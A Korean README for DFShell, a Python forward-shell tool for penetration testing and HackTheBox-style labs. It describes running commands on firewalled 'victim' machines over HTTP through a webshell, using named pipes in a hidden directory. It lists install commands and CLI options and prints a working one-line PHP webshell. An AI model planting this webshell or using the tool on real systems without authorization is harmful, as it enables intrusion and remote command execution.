
Python 기반 포워드 셸 도구로, 네임드 파이프를 사용하여 HTTP를 통해 TTY와 유사한 대화형 셸을 생성하며, 지속적인 네트워크 연결 없이 방화벽이 있는 대상에서 명령을 실행할 수 있습니다.
██████╗ ███████╗███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║█████╗ ███████╗███████║█████╗ ██║ ██║
██║ ██║██╔══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██████╔╝██║ ███████║██║ ██║███████╗███████╗███████╗
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
D3Ext의 Forward Shell은 mkfifo를 사용하여 피해자 머신에서 셸을 시뮬레이션하는 python3 스크립트입니다. 피포(fifo)가 저장되는 /dev/shm/.fs/에 숨겨진 디렉터리를 생성합니다. 웹쉘을 통해 TTY를 시뮬레이션할 수도 있습니다.
이 포워드 셸은 명명된 파이프(mkfifo)를 통해 명령을 받고 결과를 파일로 출력하는 셸을 생성합니다. 이렇게 하면 셸이 지속적인 네트워크 연결을 필요로 하지 않으므로 리버스/바인드 셸을 차단하는 방화벽 뒤에서도 적절한 TTY를 설정할 수 있습니다.
소스에서 설치
git clone https://github.com/D3Ext/DFShell
cd DFShell
pip3 install -r requirements.txt
pip로 설치
pip3 install dfshell
DFShell은 포워드 셸 구성을 개선하기 위한 다양한 CLI 매개변수를 제공합니다.
도움말 패널
usage: dfshell.py [-h] -u URL -p PARAMETER [-t TIMEOUT] [--path PATH] [-v VERBOSE]
D3Ext's Forward Shell - Enhanced forward shell with integrated commands
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL url of the webshell (i.e. http://10.10.10.10/webshell.php)
-p PARAMETER, --parameter PARAMETER
parameter of the webshell to execute commands (i.e. cmd)
-t TIMEOUT, --timeout TIMEOUT
timeout of requests that execute commands (default 20s)
--path PATH path in which to create named pipes (default /dev/shm/.fs)
-v VERBOSE, --verbose VERBOSE
print more information
GET 요청을 주어진 URL로 전송하므로, 웹쉘은 다음과 같아야 합니다:
<?php
if(isset($_REQUEST['cmd']))
{
system($_REQUEST['cmd']);
}
?>
Parrot OS와 Apache 서버에서 테스트되었습니다.
이 도구를 통제된 환경에서 테스트하려면, 다음은 웹 서버에 방화벽 규칙이 적용된 HackTheBox 머신 목록입니다. 따라서 포워드 셸은 권한 상승으로 바로 가는 훌륭한 대안입니다.
@ippsec에게 이 멋진 기술에 감사드립니다.
https://github.com/IppSec/forward-shell
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux#forward-shell
https://www.f5.com/labs/learning-center/forward-and-reverse-shells
https://github.com/Hypnoze57/FShell
https://s4vitar.github.io/ttyoverhttp/
CHANGELOG.md 참조
이 프로젝트는 MIT 라이선스 하에 있습니다.
Copyright © 2023, D3Ext